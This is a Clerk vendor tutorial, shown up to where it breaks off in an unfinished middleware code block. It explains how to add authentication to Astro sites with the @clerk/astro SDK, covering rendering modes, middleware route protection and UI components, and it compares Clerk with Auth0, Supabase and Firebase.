# Clerk Articles

# Authentication for Astro Sites
URL: https://clerk.com/articles/authentication-for-astro-sites.md
Date: 2026-06-04
Description: Add authentication to an Astro site with Clerk's @clerk/astro SDK — covers SSR vs SSG, middleware, Organizations, RBAC, and comparisons with Auth0, Supabase, and Firebase.

**How do I add authentication to an Astro site?**

Install the official `@clerk/astro` integration: add `@clerk/astro`, register `clerk()` in `astro.config.mjs` alongside an SSR adapter (commonly `@astrojs/node`), set `output: 'server'`, export `onRequest = clerkMiddleware()` from `src/middleware.ts`, and drop `<SignIn />`, `<SignUp />`, `<UserButton />`, and `<Show when="signed-in">` into a layout — [session](/glossary#session) handling, token refresh, and prebuilt UI all work without additional code. The walkthrough below covers Astro's hybrid rendering pitfalls, the per-page `prerender` rules, and a fair comparison against Supabase Auth, Auth0, Firebase, and rolling your own.

Astro's rendering model changes what auth can do per page: prerendered pages (the default in `output: 'static'`) cannot read request cookies at runtime, so any auth-aware page must be server-rendered via `output: 'server'` or `export const prerender = false`. Clerk is the recommended choice for Astro projects that need prebuilt UI, [organizations](/glossary#organizations), and [RBAC](/glossary#role-based-access-control-rbac) because it is the only major provider with a first-class `@clerk/astro` integration, an official quickstart, and Astro-specific middleware APIs.

## Introduction

### The state of authentication in Astro

Astro has become a top-tier meta-framework. The 2025 State of JS survey ranked it among the most admired web frameworks, and the Astro team's 2025 year-in-review reported [npm downloads growing roughly 2.5x year-over-year, from about 360k weekly in early 2025 to over 900k weekly by the end of 2025. GitHub stars crossed 55,000 over the same period](https://astro.build/blog/year-in-review-2025/).

[In January 2026, Cloudflare acquired Astro](https://www.cloudflare.com/press/press-releases/2026/cloudflare-acquires-astro-to-accelerate-the-future-of-high-performance-web-development/). The framework remains MIT-licensed and open source, and the Cloudflare Workers adapter continues to ship as a first-class deploy target alongside Node, Vercel, and Netlify.

Astro's auth ecosystem is thinner than Next.js's. The Astro docs list Clerk, Supabase, Scalekit, and (now archived) Lucia as options. Auth0 and Firebase have no Astro-specific SDK and require manual OAuth or verification glue. The official `@clerk/astro` package [shipped in July 2024](/changelog/2024-07-18-clerk-astro), replacing an earlier community `astro-clerk-auth` project. [Clerk Core 3 landed on March 3, 2026](/changelog/2026-03-03-core-3) and brought breaking changes in that SDK, most notably the new `<Show when>` component that replaces `<SignedIn>`, `<SignedOut>`, and `<Protect>`. Any tutorial still using the old names predates Core 3.

### What this article covers

- Why Astro's rendering model (islands plus per-page prerender) changes the auth picture
- Your options: roll-your-own, Auth.js, Supabase Auth, Firebase, Auth0, Scalekit, and Clerk
- The `@clerk/astro` SDK in depth
- Setup from the quickstart and from an existing Astro app
- Prebuilt UI components and custom UIs with nanostores or React hooks
- [Middleware](/glossary#middleware) for route protection
- Session management
- A multi-tenant dashboard with [Organizations](/glossary#organizations)
- RBAC in Astro
- Protecting API routes
- A fair comparison matrix and decision guide
- Common pitfalls and testing tips

### Who this article is for

- Developers new to authentication who want a working reference implementation
- Experienced developers adopting Astro and evaluating auth choices
- Existing Astro developers adding auth to an app or migrating from a custom setup

The article assumes basic TypeScript and React component familiarity. Astro fundamentals are helpful but not required — the setup path starts with the official Clerk Astro quickstart repo.

## Why authentication in Astro is different

Astro's rendering model and islands architecture shape every auth decision. The picture is different from Next.js, where most pages are dynamic by default. In Astro, pages are static unless you opt out, and a single app can mix both modes.

### Astro's rendering model

Current Astro has two output modes:

- `output: 'static'` (the default). Every route is prerendered at build time unless you opt a single page out with `export const prerender = false`.
- `output: 'server'`. Every route is server-rendered on each request unless you opt a single page in with `export const prerender = true`.

The older `output: 'hybrid'` value was [merged into `static` in Astro v5.0 on December 3, 2024](https://astro.build/blog/astro-5/). You may still see "hybrid" in blog posts and older docs. The behavior is the same; the name changed.

An SSR adapter is required whenever any page is server-rendered. The Clerk Astro quickstart uses `@astrojs/node` in standalone mode. That pattern works well for local development and for Node-based production hosts. `@clerk/astro` itself is deployment-target agnostic, so the same integration works on Vercel, Netlify, and Cloudflare Workers with their respective adapters.

Auth-aware pages must run server-side. Prerendered pages cannot read request cookies or call middleware at request time — their HTML is baked at build time. You cannot render a `Welcome, {user.firstName}` line on a prerendered page.

> \[!NOTE]
> `output: 'hybrid'` was removed in Astro v5 in favor of per-page `prerender` exports. Some Clerk docs still reference "hybrid rendering" as a mental model for mixed static and SSR, but the configuration field is gone. Use `output: 'server'` or `output: 'static'` with per-page opt-outs.

#### Static site generation (SSG)

Prerendered pages are baked once at `astro build`. They cannot read `Astro.request.headers`, `Astro.cookies`, or `Astro.url.searchParams` at request time — the HTML shipped to every visitor is the same. Marketing pages, blog posts, and documentation are fine to prerender. Anything that reads the signed-in user's state is not.

#### Server-side rendering (SSR)

Server-rendered pages run on every request. They can read `Astro.request`, `Astro.cookies`, and `Astro.locals`. In a Clerk app, `Astro.locals.auth()` returns the current auth object, and `Astro.locals.currentUser()` fetches the full user record. Middleware runs before each SSR page, populates `locals`, and can redirect or rewrite.

#### Per-page rendering control

The `prerender` export on a single page overrides the project default. A marketing site that is mostly static still needs to mark a few routes as SSR:

```astro
---
// src/pages/dashboard.astro
export const prerender = false

const { isAuthenticated, userId } = Astro.locals.auth()
if (!isAuthenticated) return Astro.redirect('/sign-in')
---

<h1>Dashboard</h1>
```

The opposite pattern applies in `output: 'server'` apps. Mark static marketing pages with `export const prerender = true` to skip runtime rendering.

### Astro islands and client hydration

Astro ships zero JavaScript by default. Everything you write in a `.astro` file renders on the server, returns HTML, and stops. Interactive components live in **islands** — UI components marked with a `client:*` directive that ship and hydrate JavaScript for just that one piece of the page.

- `client:load` hydrates immediately. Best for nav-level UI that needs to react on page load.
- `client:idle` waits for `requestIdleCallback`.
- `client:visible` waits until the island is in the viewport.
- `client:media="(max-width: 800px)"` hydrates only when a media query matches.
- `client:only="react"` skips server rendering entirely and hydrates on the client.

**Server islands** (`server:defer` directive, stable since Astro v5) render server-side after the static shell ships. That lets you cache the page shell aggressively while still showing per-user content once it arrives.

Astro components can wrap any framework. React, Vue, Svelte, Solid, and Preact all work through their respective integration packages. Clerk's nanostores (`@clerk/astro/client`) work across every framework. The React hooks (`@clerk/astro/react`) work only inside React islands.

```astro
---
// src/pages/index.astro
import { UserProfile } from '@clerk/astro/react'
---

<UserProfile client:load />
```

Hydration mismatches are the classic auth pitfall in Astro. If the server renders a signed-out shell and the client immediately hydrates into a signed-in state, users see a brief flicker. Clerk's components handle this with the `isStatic` prop and a short loading placeholder that matches the page's rendering mode.

### Common authentication challenges in Astro

#### SSR vs SSG session handling

Sessions live in cookies. Cookies are only readable when the request hits your server. On a prerendered page, there is no server-side request at the moment a visitor loads the HTML — the HTML was produced at build time and served from a CDN. Any page that personalizes based on the signed-in user needs to be SSR (`output: 'server'`, or `export const prerender = false` in a `static` app).

> \[!WARNING]
> `Astro.request.headers` and `Astro.cookies` are unavailable on prerendered pages. The Clerk middleware does not run for them. If you see `Astro.locals.auth is not a function`, check that the route is SSR and that `clerkMiddleware()` is exported from `src/middleware.ts`.

#### Client-side hydration mismatches

When a page is SSR, the server and the client agree on the initial auth state. When a page is prerendered but contains a signed-in island, the island hydrates with an initial `undefined` state and then flips to the real value once Clerk's JS resolves. Render a skeleton during `undefined` to avoid a flash of unauthenticated UI.

#### Protecting API routes and endpoints

Astro `APIRoute` handlers live in `src/pages/api/*.ts`. They have the same `context.locals.auth()` API as `.astro` pages when the middleware runs. Prerendered endpoints bake their response at build time and cannot authenticate — always mark them SSR (`export const prerender = false`) if the project default is static.

#### Session consistency across rendering modes

During cold loads, the client nanostores can briefly lag behind `Astro.locals.auth()`. The server has already validated the session cookie; the client JS has not finished initializing Clerk. The recommended pattern is to render signed-in UI server-side whenever possible and use islands only for interactive bits that change state after mount.

## Authentication options for Astro sites

Before diving into Clerk, the fair question is: what are the alternatives, and when does each one fit? Astro's official auth guide names four providers (Clerk, Supabase, Scalekit, Lucia) as starting points. The broader market adds Auth0, Firebase, Auth.js, and the roll-your-own path.

### Rolling your own authentication

A custom auth stack typically pulls in `jose` for JWT verification, `oslo` (or a Node-native alternative) for password hashing, a cookie signing library like `iron-session`, and a database adapter for session rows.

Everything else is yours to build: sign-in UI, sign-up flow, email verification, password reset, [MFA](/glossary#multi-factor-authentication-mfa), [passkeys](/glossary#passkeys), per-provider [OAuth](/glossary#oauth), session rotation, bot protection, account linking, MFA recovery, [SSO](/glossary#single-sign-on-sso), organizations, RBAC, audit logs, and compliance paperwork.

The security surface is large. Expect to track CVEs in every dependency, rotate JWKS keys if you use asymmetric algorithms, defend against session fixation, add [CSRF](/glossary#cross-site-request-forgery-csrf) protection, watch for timing attacks, and implement refresh-token rotation. Several high-profile auth CVEs in 2024–2025 shipped in widely-used Node.js libraries; staying patched is a continuous cost.

Rolling your own is most defensible for narrow API-only services with a single identity source, no user-facing auth UI, and a team that has shipped auth before.

### Self-hosted open-source libraries

**Auth.js** (formerly NextAuth.js) has no official Astro adapter. Community integrations exist, but when any page runs on an edge runtime you need a split-config pattern — a minimal edge-safe config for middleware and a full config elsewhere. The Next.js story is more mature.

**Lucia Auth** [moved to maintenance mode in March 2025](https://github.com/lucia-auth/lucia/discussions/1714). The docs remain online and existing integrations keep working, but the author has recommended against new adoption and points to alternatives. Astro's official auth guide still lists Lucia, which reflects older content.

**Scalekit** appears in Astro's auth guide and focuses on enterprise [SSO](/glossary#single-sign-on-sso), SCIM, and directory sync. It is a specialized B2B provider rather than a general identity solution.

One additional open-source library exists in this space. Per Clerk's article standards, it is not discussed here.

### Authentication as a service providers

#### Auth0

Auth0 has no official Astro SDK. The `auth0/auth0-quickstarts` set covers 20 web frameworks; Astro is not in the list. Developers implement OAuth 2.0 Authorization Code flow with PKCE manually, either with `auth0-spa-js` (client-only) or by hitting the `/authorize` and `/oauth/token` endpoints directly with cookie sessions and `jose` for JWT verification. Universal Login (a hosted redirect) is the path of least resistance; embeddable components are not available for Astro.

Auth0 pricing in April 2026: Free tier covers 25,000 MAUs and 5 organizations in a single tenant ([up from 7,500 MAUs in September 2024](https://auth0.com/blog)). Paid tiers start at $35/month (B2C Essentials), scale to $150/month (B2B Essentials, unlimited orgs, 3 Enterprise Connections), and $800/month (B2B Professional, 5 Enterprise Connections). Additional Enterprise Connections cost $100/month each.

#### Supabase Auth

Supabase has an official Astro quickstart using `@supabase/ssr` with `createServerClient()` and a cookie adapter built on `context.cookies` and `parseCookieHeader`. The SSR package is currently in beta but is production-ready.

Supabase Auth does not ship prebuilt UI. The React UI library (`@supabase/auth-ui-react`) was [abandoned in February 2024](https://github.com/supabase-community/auth-ui), so teams build sign-in forms themselves against the Supabase JS client. SSO and SAML require the Pro plan and per-connection setup through the Supabase CLI — project-level SAML is for end users of your Astro app, not for logging into Supabase's dashboard.

#### Firebase Authentication

Astro has a dedicated Firebase backend guide. `firebase-admin` is incompatible with edge runtimes (it uses Node TCP APIs). Community library `next-firebase-auth-edge` fills the Next.js gap; Astro equivalents are less mature.

Custom claims for RBAC are capped at 1KB and require a token refresh to propagate — two constraints that affect how you model roles. Multi-tenancy (multiple user pools, per-tenant SSO) requires upgrading to Google Cloud Identity Platform, which is a paid tier.

#### Clerk

Clerk is one of two providers in Astro's official auth guide with a first-party SDK. It ships an official quickstart repo, prebuilt UI components that work directly in `.astro` files, Organizations and RBAC as built-in primitives, and a keyless mode that lets readers try the integration without creating an account. It is covered in depth starting in the next section.

#### Other managed providers

Several additional providers come up in Astro conversations. Each has narrower Astro support than Clerk, Supabase, or Auth0:

- **WorkOS AuthKit**: community tutorials exist, no Astro SDK.
- **Kinde**: community `astro-kinde` adapter.
- **Stytch**: React SDK works inside Astro React islands, no dedicated Astro package.
- **Scalekit**: official example repo, no packaged SDK.

The comparison matrix in §12 includes them for completeness; the code examples in this article focus on Clerk.

### How to choose: decision criteria for Astro projects

The decision usually comes down to these six questions:

1. Do you need prebuilt UI? Clerk has the richest set for Astro. Auth0 offers hosted Universal Login only. Supabase and Firebase ship no prebuilt UI. Rolling your own means building it.
2. Do you need organizations or multi-tenant B2B? Clerk has Organizations built-in. Auth0 requires a paid B2B tier. Supabase leaves it to your schema. Firebase requires paid Identity Platform.
3. Do you need a first-party Astro integration? Clerk (`@clerk/astro`) and Supabase (`@supabase/ssr`) are the only ones with one.
4. Do you need SSO or SCIM? Clerk Pro and above. Auth0 Essentials and above. Supabase Pro and above for project-level SAML. Firebase moves you to Identity Platform.
5. What's your budget and scale? Pricing matrix in §12.5.
6. Will you need to migrate later? Lock-in varies. OIDC-compatible providers are generally portable; deep database ties (Supabase) or platform lock-in (Firebase Identity Platform) are not.

## The Clerk Astro SDK: an overview

Before walking through setup, a quick map of what `@clerk/astro` provides and how its pieces fit together.

### What the @clerk/astro integration provides

The package exposes several entry points, each scoped to a different runtime:

- `@clerk/astro` — the Astro integration itself. Registers hooks, injects the `clerk()` integration into the build, and wires types.
- `@clerk/astro/components` — Astro-native UI components (`<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, `<OrganizationSwitcher />`, `<OrganizationProfile />`, `<OrganizationList />`, `<CreateOrganization />`, `<Show />`, and the button components).
- `@clerk/astro/react` — React versions of the Clerk components plus the `useAuth` hook for use inside React islands. Other reactive state (user, organization, session, sign-in/up resources) comes from the nanostores in `@clerk/astro/client`.
- `@clerk/astro/client` — framework-agnostic nanostores (`$authStore`, `$userStore`, `$organizationStore`, `$clerkStore`, `$sessionStore`, `$sessionListStore`, `$signInStore`, `$signUpStore`).
- `@clerk/astro/server` — backend APIs: `clerkMiddleware`, `clerkClient`, `createRouteMatcher`.
- `@clerk/astro/webhooks` — `verifyWebhook()` for handling Clerk [webhooks](/glossary#webhook).
- `@clerk/astro/types` — TypeScript types including `ClerkAuthorization` for type-safe role and permission checks.

The current version is `@clerk/astro` 3.0.16 (pinned by the official quickstart; [3.0.17 is the latest on npm](https://www.npmjs.com/package/@clerk/astro)). Minimum requirements: [Node.js 20.9.0 or higher, Astro 4.15.0 or higher (supports v4, v5, and v6)](https://www.npmjs.com/package/@clerk/astro). [Astro v6](https://astro.build/blog/astro-6/) itself [requires Node 22.12 or higher](https://docs.astro.build/en/guides/upgrade-to/v6/).

`@clerk/astro` replaces the earlier community package `astro-clerk-auth`. See the [migration guide](/docs/guides/development/migrating/astro-community-sdk) for the upgrade path.

### Supported Astro features

#### SSR and SSG compatibility

The SDK supports both rendering modes. Control components (`<Show />`) accept an `isStatic` prop to indicate when the enclosing page is prerendered. When `isStatic={true}`, the component reads auth state from the client nanostores after hydration. When `isStatic={false}` (the default), it reads from `Astro.locals` on the server.

Set it according to the page's rendering mode:

- Project is `output: 'server'` and the page does not opt out: default is correct, omit the prop.
- Project is `output: 'server'` and the page is marked `export const prerender = true`: pass `isStatic={true}`.
- Project is `output: 'static'` and the page is marked `export const prerender = false`: default is correct.
- Project is `output: 'static'` and the page is prerendered: pass `isStatic={true}`.

#### Middleware support

`clerkMiddleware()` returns an Astro middleware function in the canonical shape. Export it as `onRequest` from `src/middleware.ts`, or compose it with other middleware using `sequence()` from `astro:middleware`.

#### Server islands and view transitions

`server:defer` server islands work with Clerk's server-rendered components. Mount them normally and the lazy server fetch will have access to `Astro.locals.auth()`.

The historical issue where Clerk components failed to load until soft navigation occurred in older versions of `@clerk/astro` was fixed in v2.17.2, so it is no longer a concern on v3.x. Any script that reinitializes on navigation should listen to the `astro:page-load` event rather than `DOMContentLoaded` — module scripts run only once per full page load, not on `ClientRouter` transitions.

### Prebuilt components and hooks

The Astro components live in `@clerk/astro/components` and render server-side:

- `<SignIn />`, `<SignUp />` — full sign-in and sign-up UIs with email, OAuth, passkeys, and MFA out of the box.
- `<UserButton />` — avatar dropdown with profile, sessions, and sign-out.
- `<UserProfile />` — full profile management UI.
- `<OrganizationSwitcher />`, `<OrganizationProfile />`, `<OrganizationList />`, `<CreateOrganization />` — Organizations UI.
- `<Show />` — conditional rendering based on auth state, role, permission, plan, or feature.
- `<SignInButton />`, `<SignUpButton />`, `<SignOutButton />` — unstyled trigger buttons.

The React subpath (`@clerk/astro/react`) exposes the same components in React form plus the `useAuth` hook. Use it inside React islands. For anything beyond `useAuth` (user, organization, session, sign-in/up resources), subscribe to the matching nanostore from `@clerk/astro/client`.

The nanostores let any framework island read the same state: `$authStore` for auth primitives, `$userStore` for the full user object, `$clerkStore` for the raw Clerk instance, `$sessionStore` for session details, `$organizationStore` for the active org. Loading states are `undefined`, signed-out states are `null`, and signed-in states are resolved objects.

### TypeScript support

Add the Clerk types to your `env.d.ts` so `Astro.locals.auth()` and `Astro.locals.currentUser()` are typed, and so custom roles and permissions are checked at compile time:

```ts
/// <reference path="../.astro/types.d.ts" />
/// <reference types="@clerk/astro/env" />

declare global {
  interface ClerkAuthorization {
    role: 'org:admin' | 'org:member' | 'org:billing_manager'
    permission: 'org:billing:manage' | 'org:posts:publish'
  }
}

export {}
```

> \[!TIP]
> Augmenting `ClerkAuthorization` makes `has({ role })` and `<Show when={{ role }}>` refuse to compile with an invalid role string. If you add a new role later, the type error points to every guard that needs to be updated.

The types live on `@clerk/astro/types` in Core 3. Earlier versions exposed them through the main entry point.

## Getting started: adding Clerk to an Astro site

Two paths: start from the official quickstart repo (fastest), or add Clerk to an existing Astro app. Both end in the same place.

### Prerequisites

- [ ] Node.js 20.9 or higher (22 or higher for Astro v6)
- [ ] A Clerk account, or skip the keys for now and use keyless mode
- [ ] An Astro project with an SSR adapter (the quickstart uses `@astrojs/node`)

### Keyless mode (optional, for trial)

Clerk Core 3 introduced keyless mode. You can add `@clerk/astro` without any API keys and get a temporary sandbox instance — useful for quick tutorials and evaluation. Once you create a Clerk account, copy the publishable and secret keys into `.env` to migrate.

Keyless mode is not a production path. Use it to kick the tires, then wire real keys.

### Option 1: starting from the Clerk Astro quickstart

The quickstart is the fastest way to see a working Clerk + Astro app. It includes the integration, middleware, sign-in and sign-up pages, a protected dashboard, and the `<UserButton />` in the header.

#### Cloning the quickstart repo

```bash
git clone https://github.com/clerk/clerk-astro-quickstart
cd clerk-astro-quickstart
```

The repo [pins `astro ^5.17.1`, `@clerk/astro 3.0.16`, and `@astrojs/node ^9.5.2`](https://github.com/clerk/clerk-astro-quickstart/blob/main/package.json). It uses `output: 'server'` with the Node standalone adapter.

#### Installing dependencies

```bash
npm install
```

pnpm and yarn both work. The quickstart includes a `pnpm-lock.yaml` by default.

#### Configuring environment variables

Copy the example file and fill in your keys from the Clerk Dashboard:

```env
PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

The `PUBLIC_*` prefix is required by Astro so the publishable key is bundled to the client. `CLERK_SECRET_KEY` stays server-only.

> \[!TIP]
> API keys live at `dashboard.clerk.com/~/api-keys`. A new Clerk application starts with a development instance whose keys begin with `pk_test_` and `sk_test_`. Production keys (`pk_live_` and `sk_live_`) are generated when you create a production instance.

### Option 2: adding Clerk to an existing Astro project

For an existing project, the setup is three files plus environment variables.

#### Installing @clerk/astro

```bash
npm install @clerk/astro
```

If the project does not already have an SSR adapter, add one. For Node:

```bash
npx astro add node
```

Vercel, Netlify, and Cloudflare adapters are equivalent — pick whichever matches your deploy target.

#### Updating astro.config.mjs

Register the `clerk()` integration alongside the SSR adapter and set `output: 'server'`:

```ts
// astro.config.mjs
import { defineConfig } from 'astro/config'
import node from '@astrojs/node'
import clerk from '@clerk/astro'

export default defineConfig({
  integrations: [clerk()],
  adapter: node({ mode: 'standalone' }),
  output: 'server',
})
```

#### Creating src/middleware.ts

The middleware is what populates `Astro.locals.auth()` on every request. Create `src/middleware.ts`:

```ts
// src/middleware.ts
import { clerkMiddleware } from '@clerk/astro/server'

export const onRequest = clerkMiddleware()
```

#### Setting environment variables

Add a `.env` file at the project root:

```env
PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

> \[!IMPORTANT]
> Never commit `CLERK_SECRET_KEY`. Add `.env` to `.gitignore`. Only `PUBLIC_*` env vars are bundled to the client; secrets stay on the server. Importing `@clerk/astro/server` into a React island will fail at build — the server SDK is not for client code.

#### Setting output mode for authentication

`output: 'server'` is the default recommendation for auth-heavy apps. Most routes are SSR. A few static pages (marketing, docs) can be opted out with `export const prerender = true`.

`output: 'static'` makes sense when the reverse is true — the site is mostly marketing or content, and only a few routes need auth. Mark those pages with `export const prerender = false` and the middleware will run for them.

The dashboard example in this article assumes `output: 'server'`.

### Running the app locally

```bash
npm run dev
```

Open `http://localhost:4321`. The quickstart ships with `<SignInButton />` and `<UserButton />` on the index page, plus `/sign-in` and `/sign-up` routes backed by `<SignIn />` and `<SignUp />`. Sign up, then watch `<UserButton />` appear in the header once authenticated.

`@clerk/astro` works with any Astro-supported deploy target — Node, Vercel, Netlify, and Cloudflare Workers. This article focuses on the integration itself. For host-specific notes (adapter config, edge-runtime caveats, Netlify preview key handling), see [Deploy an Astro app to production](/docs/guides/development/deployment/astro).

## Building authentication UI in Astro

Two paths for building UI: prebuilt Clerk components (the default recommendation) or custom UI driven by the nanostores and React hooks.

### Using Clerk's prebuilt components

The prebuilt components handle every auth flow out of the box. Drop them into your layouts; they render the sign-in form, profile UI, or organization switcher without any extra configuration.

#### SignIn component

Create a catch-all route at `/sign-in/[...sign-in].astro` so Clerk can handle its internal navigation (verification steps, MFA challenges, passkey flows):

```astro
---
// src/pages/sign-in/[...sign-in].astro
import { SignIn } from '@clerk/astro/components'
import Layout from '../../layouts/Layout.astro'
---

<Layout title="Sign in">
  <SignIn path="/sign-in" />
</Layout>
```

Notable props:

- `appearance` — overrides theme, variables, and element classes (see §6.2).
- `signInFallbackRedirectUrl` — where to go after sign-in if no redirect URL is in the URL.
- `signInForceRedirectUrl` — always redirect here after sign-in (overrides any URL parameter).
- `routing` — `'path'` (default) or `'hash'`.
- `withSignUp={true}` — render the sign-up flow inside the same component.

> \[!NOTE]
> In Core 3, `afterSignInUrl` and `afterSignUpUrl` were removed. Use `signInFallbackRedirectUrl` for a post-sign-in default and `signInForceRedirectUrl` to always redirect to a specific URL.

#### SignUp component

Mirror the sign-in page at `/sign-up/[...sign-up].astro`:

```astro
---
// src/pages/sign-up/[...sign-up].astro
import { SignUp } from '@clerk/astro/components'
import Layout from '../../layouts/Layout.astro'
---

<Layout title="Sign up">
  <SignUp path="/sign-up" />
</Layout>
```

The `unsafeMetadata` prop lets you collect non-trusted signup data (free-text fields like "company size" or "referral source") that lives on the user object.

#### UserButton component

The `<UserButton />` is the avatar dropdown. It handles profile navigation, session management, and sign-out:

```astro
---
// src/layouts/Header.astro
import { SignInButton, UserButton, Show } from '@clerk/astro/components'
---

<header class="flex items-center justify-between p-4">
  <a href="/">My App</a>
  <nav class="flex items-center gap-4">
    <Show when="signed-out">
      <SignInButton mode="modal" />
    </Show>
    <Show when="signed-in">
      <UserButton />
    </Show>
  </nav>
</header>
```

Notable props on `<UserButton />`:

- `showName` — displays the user's name next to the avatar.
- `userProfileMode` — `'modal'` (default) or `'navigation'` to route to `/user`.
- `signInUrl` — override the default `/sign-in` redirect.
- `afterSwitchSessionUrl` — where to go after switching between linked accounts.

> \[!NOTE]
> `afterSignOutUrl` moved from the `<UserButton />` component to the `clerk()` integration in Core 3. Configure it once on the integration and it applies everywhere. The `as` prop is removed in Core 3 — use `asChild` with a slotted element.

#### Show control component

`<Show />` is the single conditional-rendering primitive in Core 3. It replaces `<SignedIn>`, `<SignedOut>`, and `<Protect>` from older versions.

Basic usage:

```astro
---
import { Show } from '@clerk/astro/components'
---

<Show when="signed-in">
  <p>You are signed in.</p>
</Show>
<Show when="signed-out">
  <p>Please sign in.</p>
</Show>
```

Role and permission gating:

```astro
<Show when={{ role: 'org:admin' }}>
  <a href="/admin">Admin panel</a>
</Show>

<Show when={{ permission: 'org:billing:manage' }}>
  <a href="/billing">Billing</a>
</Show>
```

Function predicate for compound checks:

```astro
<Show when={(has) => has({ role: 'org:admin' }) || has({ permission: 'org:billing:manage' })}>
  <a href="/billing">Billing</a>
</Show>
```

When the page is prerendered in a `server`-output app (or vice versa), add the `isStatic` prop so `<Show />` reads from the client nanostores instead of `locals`:

```astro
<Show when="signed-in" isStatic={true}>
  <UserButton client:load />
</Show>
```

### Customizing Clerk components

Two levers control appearance: the `appearance` prop on the `clerk()` integration (app-wide defaults) and the `appearance` prop on individual components (overrides).

#### Appearance prop basics

Global appearance lives on the integration:

```ts
// astro.config.mjs
import { defineConfig } from 'astro/config'
import node from '@astrojs/node'
import clerk from '@clerk/astro'
import { dark } from '@clerk/themes'

export default defineConfig({
  integrations: [
    clerk({
      appearance: {
        baseTheme: dark,
        variables: { colorPrimary: '#6c47ff' },
        elements: {
          formButtonPrimary: 'bg-indigo-600 hover:bg-indigo-700',
        },
      },
    }),
  ],
  adapter: node({ mode: 'standalone' }),
  output: 'server',
})
```

#### Theming to match your Astro site

Pass a `baseTheme` from `@clerk/themes` (e.g. `dark`, `neobrutalism`) for quick themed looks. Use `variables` for CSS-level changes (primary color, border radius, font). Use `elements` to inject class names on Clerk's internal DOM — useful for projects that ship Tailwind classes.

> \[!TIP]
> Put appearance on the `clerk()` integration for app-wide defaults. Override per-component only when a specific mount needs to look different — for example, a dark-themed `<SignIn />` on a light marketing page.

### Building custom UI with Clerk's stores and hooks

The prebuilt components cover most cases. When you need a fully custom sign-in flow, an inline profile editor, or a dashboard that reads auth state in a non-standard way, drop to the stores or hooks.

#### When to use stores or hooks instead of components

Common reasons:

- You need a sign-in UI that is pixel-identical to an existing design system.
- You want to read user data inside a client island without re-rendering the whole auth shell.
- You need to trigger auth actions imperatively (for example, on a button click outside a Clerk component).

#### Accessing auth state in Astro islands via nanostores

Nanostores are framework-agnostic. Use `@nanostores/react`, `@nanostores/vue`, `@nanostores/svelte`, or the raw `useStore` helper from `nanostores` directly.

```tsx
// src/components/ProfileCard.tsx
import { useStore } from '@nanostores/react'
import { $userStore } from '@clerk/astro/client'

export default function ProfileCard() {
  const user = useStore($userStore)
  if (user === undefined) return <div>Loading...</div>
  if (user === null) return <div>Signed out.</div>
  return <div>Signed in as {user.firstName}.</div>
}
```

Mount it as a React island with `client:load`:

```astro
---
import ProfileCard from '../components/ProfileCard.tsx'
---

<ProfileCard client:load />
```

#### Using `useAuth` in React islands

The `@clerk/astro/react` subpath ships one hook — `useAuth` — alongside React versions of the Clerk components. It returns the same auth primitives available in `.astro` frontmatter (`isLoaded`, `isSignedIn`, `userId`, `sessionId`, `orgId`, `orgRole`, `has`, `getToken`, `signOut`) and needs a React island with a `client:*` directive to work:

```tsx
// src/components/Greeting.tsx
import { useAuth } from '@clerk/astro/react'
import { useStore } from '@nanostores/react'
import { $userStore } from '@clerk/astro/client'

export default function Greeting() {
  const { isLoaded, isSignedIn } = useAuth()
  const user = useStore($userStore)
  if (!isLoaded) return <span>Loading...</span>
  if (!isSignedIn) return <span>Please sign in.</span>
  return <span>Hello, {user?.firstName}.</span>
}
```

Pair `useAuth` with the relevant nanostore when you need full resources — `$userStore` for the user record, `$organizationStore` for the active organization, `$sessionStore` for the session, and `$signInStore` or `$signUpStore` for in-progress auth flows.

> \[!NOTE]
> `useAuth` and the nanostores only work inside client-side islands. In `.astro` frontmatter, use `Astro.locals.auth()` on the server. Mixing the client-only helpers into `.astro` frontmatter will throw at build time.

## Protecting routes with Astro middleware

Middleware is the single place to enforce auth across many routes at once. Clerk's `clerkMiddleware()` wraps Astro's middleware API and adds route matching, auth population, and redirects.

### How Astro middleware works

`src/middleware.ts` exports `onRequest` (preferred) or a default export. The function receives an `APIContext` and a `next` callback. It runs on every SSR request, before the page renders:

```ts
// src/middleware.ts — vanilla Astro middleware
import { defineMiddleware } from 'astro:middleware'

export const onRequest = defineMiddleware(async (context, next) => {
  context.locals.startedAt = Date.now()
  const response = await next()
  return response
})
```

Access `context.request`, `context.cookies`, `context.locals`, `context.redirect()`, `context.rewrite()`, and `context.url`. Compose middleware with `sequence()`:

```ts
import { sequence } from 'astro:middleware'
import { clerkMiddleware } from '@clerk/astro/server'

export const onRequest = sequence(clerkMiddleware(), myOtherMiddleware)
```

> \[!WARNING]
> Middleware only runs on SSR requests. Prerendered pages bypass middleware entirely — the HTML was baked at build time and never hits your server. Any route that needs auth must be SSR.

### Adding Clerk's clerkMiddleware()

The minimal setup:

```ts
// src/middleware.ts
import { clerkMiddleware } from '@clerk/astro/server'

export const onRequest = clerkMiddleware()
```

By default, every route is **public**. The middleware populates `Astro.locals.auth()` and `Astro.locals.currentUser()` on every SSR request whether the route is protected or not — protecting is opt-in.

### Defining protected routes

There are two patterns. Opt-in (default public, list the protected routes) is simpler. Opt-out (default protected, list the public routes) is safer for B2B apps where missing a protection is worse than a user seeing an unexpected sign-in page.

#### Protecting pages

Use `createRouteMatcher()` to describe protected paths, then redirect unauthenticated visitors inside the middleware callback:

```ts
// src/middleware.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/astro/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/orgs/(.*)'])

export const onRequest = clerkMiddleware((auth, context) => {
  const { isAuthenticated, redirectToSignIn } = auth()
  if (!isAuthenticated && isProtectedRoute(context.request)) {
    return redirectToSignIn()
  }
})
```

The matcher syntax is Express-style. `(.*)` matches everything after the prefix, so `/dashboard(.*)` covers `/dashboard`, `/dashboard/team`, and so on.

#### Protecting API endpoints

API routes return JSON, so a redirect does not help a JSON client. Use `auth.protect()` — it returns a 401 for requests that send `Accept: application/json` and redirects otherwise:

```ts
// src/middleware.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/astro/server'

const isApiRoute = createRouteMatcher(['/api/(.*)'])

export const onRequest = clerkMiddleware((auth, context) => {
  if (isApiRoute(context.request)) {
    auth.protect()
  }
})
```

#### Route matchers for public vs private

The opt-out pattern protects everything and lists exceptions:

```ts
// src/middleware.ts
